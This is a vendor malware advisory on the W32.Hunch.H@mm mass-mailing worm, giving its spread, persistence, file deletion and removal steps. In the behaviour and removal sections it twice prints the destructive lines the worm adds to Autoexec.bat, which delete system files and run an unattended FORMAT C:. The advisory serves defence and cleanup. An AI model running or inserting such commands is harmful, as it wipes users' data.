W32.Hunch.H@mm is a mass-mailing worm that modifies the Autoexec.bat file in an attempt to format drive C. It deletes files that have a randomly chosen extension.

Wild:

• Number of infections: 0 - 49
• Number of sites: 0 - 2
• Geographical distribution: Low
• Threat containment: Easy
• Removal: Easy

Damage:

• Payload: Will delete 5 files from the computer. Will also attempt to format the C Drive the next time the computer restarts
  (Windows 95/98/Me).
  
  
• Large scale e-mailing: Mails itself to all addresses in the Outlook Address book
  
  
• Deletes files: Deletes 5 files with the extension .xls, .doc, .wav,.dwg, .mp3,.bak, .cdx, .bmp, .htm, .hlp, .chm,
  .jpg, .tga, .cpl, .acd, .mid, .cdr, .mdb, .dbf, or .ico
  
  
• Modifies files: Modifies Autoexec.bat to format the C Drive and delete files from the System directory

Distribution

• Subject of email: [First four letters of the Original Filename minus extension]
  
  
• Name of attachment: [Original Filename]
  
  
• Size of attachment: 46,592 bytes

W32.Hunch.H@mm is a mass-mailing worm. When it runs, it does the following:

1. It sends itself to all contacts in the Microsoft Outlook Address Book. The message has the following characteristics:

Subject: <This varies depending on the originating file name>
Message: Tal como te prometi; te envio mi foto en el archivo adjuncto...
Attachment: <This varies depending on the originating file name>

2. It displays a pornographic picture.
3. It copies itself as:
• %system%\Newmsie7.exe
• %system%\Setup.Exe
• %system%\<Attachment file name>
  
  NOTE: %system% is a variable. The worm locates the System folder and copies itself to that location. By default this is C:\Windows\System (Windows 95/98/Me), C:\Winnt\System32 (Windows NT/2000), or C:\Windows\System32 (Windows XP).
  
4. It adds the value

Setup     %System%\Setup.Exe

to the registry key

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

so that the worm runs when you start Windows.

5. It then deletes five files that have one of the following randomly chosen file extensions:
• .ini
• .xlm
• .mid
• .ttg
• .mp2
• .ccp
• .mp3
• .mpg
• .asm
• .pif
• .ico
• .log
• .cpl
• .vxd
• .chm
• .com
• .bat
• .dbf
• .tga
  
  NOTE: The worm keeps a log of the deleted files in C:\Windows\System\ListWin.txt.
  
6. Finally, the worm modifies C:\Autoexec.bat by adding the following commands:

DEL %system%\*.DAT
DEL %system%\*.COM
DEL %system%\*.EXE
CLS
FORMAT C: /u /v:COOL! /autotest

so that the next time that you start the computer (Windows 95/98/Me only) the hard drive is reformatted.

Recommendations

Symantec Security Response encourages all users and administrators to adhere to the following basic security "best practices":

• Turn off and remove unneeded services. By default, many operating systems install auxiliary services that are not critical, such as an FTP server, telnet, and a Web server. These services are avenues of attack. If they are removed, blended threats have less avenues of attack and you have fewer services to maintain through patch updates.
• If a blended threat exploits one or more network services, disable, or block access to, those services until a patch is applied.
• Always keep your patch levels up-to-date, especially on computers that host public services and are accessible through the firewall, such as HTTP, FTP, mail, and DNS services.
• Enforce a password policy. Complex passwords make it difficult to crack password files on compromised computers. This helps to prevent or limit damage when a computer is compromised.
• Configure your email server to block or remove email that contains file attachments that are commonly used to spread viruses, such as .vbs, .bat, .exe, .pif and .scr files.
• Isolate infected computers quickly to prevent further compromising your organization. Perform a forensic analysis and restore the computers using trusted media.
• Train employees not to open attachments unless they are expecting them. Also, do not execute software that is downloaded from the Internet unless it has been scanned for viruses. Simply visiting a compromised Web site can cause infection if certain browser vulnerabilities are not patched.

Removal

NOTE: These instructions are for all current and recent Symantec antivirus products, including the Symantec AntiVirus and Norton AntiVirus product lines.

1. Update the virus definitions
2. Run a full system scan, and delete all files that are detected as W32.Hunch.H@mm.
3. Delete the value

Setup     %System%\Setup.Exe

from the registry key

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

4. Delete the text that the worm added to Autoexec.bat.
5. Restore deleted files from a clean backup, using the ListWin.txt as a reference, if necessary.

• Run LiveUpdate, which is the easiest way to obtain virus definitions. These virus definitions are posted to the LiveUpdate servers one time each week (usually Wednesdays) unless there is a major virus outbreak. To determine whether definitions for this threat are available by LiveUpdate, look at the Virus Definitions (LiveUpdate) line at the top of this write-up.
• Download the definitions using the Intelligent Updater. Intelligent Updater virus definitions are posted on U.S. business days (Monday through Friday). They must be downloaded from the Symantec Security Response Web site and installed manually. To determine whether definitions for this threat are available by the Intelligent Updater, look at the Virus Definitions (Intelligent Updater) line at the top of this write-up.
  
  Intelligent Updater virus definitions are available here. For detailed instructions on how to download and install the Intelligent Updater virus definitions from the Symantec Security Response Web site, click here.

1. Start your Symantec antivirus program, and make sure that it is configured to scan all files.
• Norton AntiVirus consumer products: Read the document How to configure Norton AntiVirus to scan all files.
• Symantec enterprise antivirus products: Read the document How to verify a Symantec Corporate antivirus product is set to scan All Files.
2. Run a full system scan.
3. If any files are detected as infected with W32.Hunch.H@mm, click Delete.

1. Click Start, and click Run. The Run dialog box appears.
2. Type regedit and then click OK. The Registry Editor opens.
3. Navigate to the key

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

4. In the right pane, delete the value

Setup     %System%\Setup.Exe

5. Exit the Registry Editor.

1. Click Start, and click Run.
2. Type the following, and then click OK:

edit c:\autoexec.bat

The MS-DOS Editor opens.

3. Look for the lines

DEL %system%\*.DAT
DEL %system%\*.COM
DEL %system%\*.EXE
CLS
FORMAT C: /u /v:COOL! /autotest

4. For each of line that you find, select the entire line. Be sure that you do not select any other text, and then press Delete.
5. Click File, and click Save.
6. Click File, and click Exit.